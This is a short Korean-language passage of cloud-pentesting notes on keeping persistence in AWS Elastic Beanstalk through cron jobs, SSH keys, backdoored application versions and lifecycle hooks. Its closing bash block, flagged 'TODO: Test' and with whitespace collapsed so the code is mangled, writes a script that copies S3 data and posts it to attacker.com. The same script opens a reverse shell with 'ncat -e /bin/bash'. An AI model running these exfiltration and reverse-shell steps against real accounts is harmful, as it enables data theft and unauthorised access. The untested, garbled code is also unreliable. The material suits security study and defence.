AWS 계정 내에서 지속성을 유지하기 위해, 인스턴스 내에 지속성 메커니즘을 도입할 수 있습니다 (cron job, ssh key...) 그래서 공격자는 이를 통해 접근하고 IAM 역할 자격 증명을 메타데이터 서비스에서 탈취할 수 있습니다.
버전 내 백도어
공격자는 S3 리포지토리 내의 코드를 백도어하여 항상 자신의 백도어와 예상 코드를 실행하도록 할 수 있습니다.
새로운 백도어 버전
공격자는 실제 버전의 코드를 변경하는 대신, 애플리케이션의 새로운 백도어 버전을 배포할 수 있습니다.
사용자 정의 리소스 라이프사이클 훅 악용
TODO: Test
Elastic Beanstalk는 인스턴스 프로비저닝 및 종료 중에 사용자 정의 스크립트를 실행할 수 있는 라이프사이클 훅을 제공합니다. 공격자는 주기적으로 데이터를 유출하거나 AWS 계정에 대한 접근을 유지하는 스크립트를 실행하도록 라이프사이클 훅을 구성할 수 있습니다.
bashCopycode#Attackercreatesascriptthatexfiltratesdataandmaintainsaccessecho'#!/bin/bashaws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csvgzip /tmp/data.csvcurl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfilncat -e /bin/bash --ssl attacker-ip 12345'>stealthy_lifecycle_hook.sh# Attacker uploads the script to an S3 bucketawss3cpstealthy_lifecycle_hook.shs3://attacker-bucket/stealthy_lifecycle_hook.sh# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hookecho'Resources:AWSEBAutoScalingGroup:Metadata:AWS::ElasticBeanstalk::Ext:TriggerConfiguration:triggers:- name: stealthy-lifecycle-hookevents:- "autoscaling:EC2_INSTANCE_LAUNCH"- "autoscaling:EC2_INSTANCE_TERMINATE"target:ref: "AWS::ElasticBeanstalk::Environment"arn:Fn::GetAtt:- "AWS::ElasticBeanstalk::Environment"- "Arn"stealthyLifecycleHook:Type: AWS::AutoScaling::LifecycleHookProperties:AutoScalingGroupName:Ref: AWSEBAutoScalingGroupLifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHINGNotificationTargetARN:Ref: stealthy-lifecycle-hookRoleARN:Fn::GetAtt:- AWSEBAutoScalingGroup- Arn'>stealthy_lifecycle_hook.yaml# Attacker applies the new environment configurationaws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"